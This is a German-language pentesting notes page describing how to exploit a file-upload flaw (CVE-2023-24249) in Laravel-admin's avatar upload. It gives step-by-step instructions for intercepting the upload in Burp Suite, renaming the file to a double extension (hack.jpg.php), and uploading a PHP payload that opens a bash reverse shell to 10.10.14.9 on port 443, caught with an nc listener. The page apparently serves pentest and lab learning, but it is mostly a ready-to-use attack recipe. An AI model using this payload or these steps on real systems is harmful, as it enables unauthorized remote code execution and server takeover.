> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/file-upload-attack/file-upload-php-pentesting-web.md).

# Datei-Upload PHP

## Datei-Upload (Laravel-admin)

In der Anwendung Laravel-admin gibt es einen Bereich zum Hochladen eines Avatars. Durch Ausnutzen dieser Funktion können wir eine schädliche Datei senden, um unbefugten Zugriff auf den Server zu erhalten.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/b4ea2614dc3648cb0eca79e03fd4ae6ffa093382" alt=""><figcaption></figcaption></figure>

### **Schritte zur Ausnutzung:**

1. **Fange die Avatar-Datei ab und ändere sie**:
   * Fange die Anfrage mit Burp Suite ab.
   * Ändere die Werte der Variable `Dateinamen` um die PHP-Erweiterung nach einer gefälschten Bilddatei hinzuzufügen, zum Beispiel: `hack.jpg.php`.

<figure><img src="/files/306c45c301ddc039cf6a94ce10497374562f36d0" alt=""><figcaption></figcaption></figure>

* Der Inhalt der Datei muss eine Reverse Shell sein, zum Beispiel:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>

```

<figure><img src="/files/238e87bc7ab3dc5f80c383bb09a0a208e3d09bd5" alt=""><figcaption></figcaption></figure>

**Starte einen Listener mit Netcat**:

* Starte den Listener auf Port 443 mit Netcat:

```bash
nc -nlvp 443

```

<figure><img src="/files/4946d5603f46e9a1451c12e452579fa20fe524f4" alt="" width="563"><figcaption></figcaption></figure>


---

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